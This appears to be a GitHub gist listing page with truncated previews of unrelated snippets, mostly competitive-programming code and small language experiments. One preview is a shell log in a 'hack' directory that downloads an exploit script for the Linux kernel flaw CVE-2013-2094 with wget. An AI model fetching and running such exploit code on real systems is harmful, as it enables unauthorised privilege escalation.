This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <string> | |
#include <vector> | |
using namespace std; | |
// BEGIN CUT HERE | |
#include <iostream> | |
#include <sstream> | |
template<typename T> ostream& operator<<(ostream& os, const vector<T>& v); | |
// END CUT HERE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <vector> | |
#include <string> | |
#include <algorithm> | |
#include <ctime> | |
#include <set> | |
using namespace std; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// http://community.topcoder.com/stat?c=problem_statement&pm=12324 | |
#include <vector> | |
#include <algorithm> | |
#include <cmath> | |
using namespace std; | |
// BEGIN CUT HERE | |
#include <iostream> | |
#include <sstream> | |
#include <string> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def f(n: Int) = { | |
val One = 1 | |
val Two = 2 | |
n match { | |
case One => "A" | |
case Two => "B" | |
} | |
} | |
def g(n: Int) = { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
# http://twitpic.com/cwg6mz | |
# 0 1 2 3 | |
# 4 5 6 7 | |
import itertools | |
akira, shinya, hiroshi, chiaki, saki, yuri, mika, reina = range(8) | |
name = ("akira", "shinya", "hiroshi", "chiaki", "saki", "yuri", "mika", "reina") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[q13@localhost hack]$ wget https://raw.github.com/Pashkela/CVE-2013-2094/master/run.sh | |
--2014-02-14 02:05:38-- https://raw.github.com/Pashkela/CVE-2013-2094/master/run.sh | |
Resolving raw.github.com... 103.245.222.133 | |
Connecting to raw.github.com|103.245.222.133|:443... connected. | |
HTTP request sent, awaiting response... 200 OK | |
Length: 80790 (79K) [text/plain] | |
Saving to: “run.sh” | |
100%[================================================>] 80,790 --.-K/s in 0.02s |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 1個目の引数を返す関数 Trueになる | |
function t(a,b) {return a;} | |
// 2個目の引数を返す関数 Falseになる | |
function f(a,b) {return b;} | |
// aがTrueならbを、aがFalseならcを返す | |
function test(a,b,c) {return a(b,c);} | |
test(t,"x","y") // "x" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, socket, threading, time, ssl, struct | |
def recv(s, l): | |
r = '' | |
while len(r)<l: | |
d = s.recv(l-len(r)) | |
if d=='': | |
raise | |
r += d | |
return r |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <vector> | |
#include <string> | |
#include <cstdlib> | |
#include <set> | |
#include <ctime> | |
#include <algorithm> | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
街を原点を中心に回転して角度を揃えても結果は変わらない。 | |
街が何個重なっているかを更新しながら、街が重なっていない部分の長さを足していけば | |
良い。[0, Z]以外の部分にも街があると考えるとプログラムが楽。 | |
*/ | |
#include <string> | |
#include <vector> |
OlderNewer